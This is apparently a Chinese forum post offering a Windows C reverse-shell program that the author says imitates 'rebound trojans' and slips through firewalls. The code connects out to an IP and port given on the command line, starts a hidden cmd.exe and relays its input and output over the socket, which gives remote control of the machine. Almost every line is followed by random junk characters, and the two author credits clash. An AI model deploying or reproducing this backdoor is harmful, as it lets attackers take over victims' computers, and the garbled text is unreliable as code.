这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== \" W_\&X
Rebound port in Windows NT u*i[A\Y
By wind,2006/7 N
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===============================*/ tyyfMA?'L;
#include 0?d}Oj
#include 5u3SP?.&
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#pragma comment(lib,"wsock32.lib") .B|a.-oA4
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void OutputShell(); Af%#&r7W
SOCKET sClient; 4x%R4tk
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |37y ="
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void main(int argc,char **argv) m? #J`?E
{ ?g\SF}2
WSADATA stWsaData; 7o5~J)qIC
int nRet; a]mPc^h
SOCKADDR_IN stSaiClient,stSaiServer; V]I+>Zn| 7
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if(argc != 3) voAen&>!
{ s@c.nT%BYL
printf("Useage:\n\rRebound DestIP DestPort\n"); ,Xt!dT-
return; zBd)E21H
} FY6!)/P0I7
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WSAStartup(MAKEWORD(2,2),&stWsaData); mrvPzoF,]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F;@A2WD
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stSaiClient.sin_family = AF_INET; uEPdL':}2
stSaiClient.sin_port = htons(0); z'+k]N9Q^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f-b#F2I
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'HdOW[3o
{ _YM]U`*
printf("Bind Socket Failed!\n"); gcNpA?mC|u
return; ]fgYO+
} 1FQ_`wF4
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stSaiServer.sin_family = AF_INET; wmf#3"n
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uY~xHV_-
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3S_H hvB
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9q=\_[\[
{ D^%DYp
printf("Connect Error!"); yA#-}Y|]b
return; -P5M(Rt
} DKGZm<G>
OutputShell(); B1C"F-2d
} ==z,vxr
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void OutputShell() c8
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{ s[HQq;S
char szBuff[1024]; b jq1",
SECURITY_ATTRIBUTES stSecurityAttributes; 4xE [S
OSVERSIONINFO stOsversionInfo; ;.g <u
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4}\Dr
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STARTUPINFO stStartupInfo; TT0~41&l
char *szShell; x$'0}vnT
PROCESS_INFORMATION stProcessInformation; Z}
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unsigned long lBytesRead; ~!Q\\_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D`G ;kp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H)${"
stSecurityAttributes.lpSecurityDescriptor = 0; z'FJx2
stSecurityAttributes.bInheritHandle = TRUE; 34$qV{Y%y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k^ZcgHHgb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '#fwNbD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,X2CV INb}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #<\A[Po
stStartupInfo.wShowWindow = SW_HIDE; !PFc)J
stStartupInfo.hStdInput = hReadPipe; _Zq2 <:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Po=@
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GetVersionEx(&stOsversionInfo); o y'GAc/
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switch(stOsversionInfo.dwPlatformId) 1gZW~6a}
{ T%\f$jh6
case 1: 9?
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szShell = "command.com"; A{!D7kwTz~
break; .-6B6IEI_"
default: n;eK2+}]
szShell = "cmd.exe"; f~LM-7!zf}
break; 2JV,AZf
} 8u401ddg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^_cR
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send(sClient,szMsg,77,0); tyH*epanw
while(1) Z|z+[V}[
{ 3+%c*}KC~
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tWNz:V
if(lBytesRead) fh1rmet&Ts
{ (mOUbO8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -qPYm?$
send(sClient,szBuff,lBytesRead,0); 0 ;b%@_E
} jH1!'1s|
else ;n9r;$!f
{ drJ<&1O
lBytesRead=recv(sClient,szBuff,1024,0); /uc*V6Xd
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if(lBytesRead<=0) break; H'L~8>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i_? S#L]h
} Wm5/>Cu,
} &J\V
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return; L
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}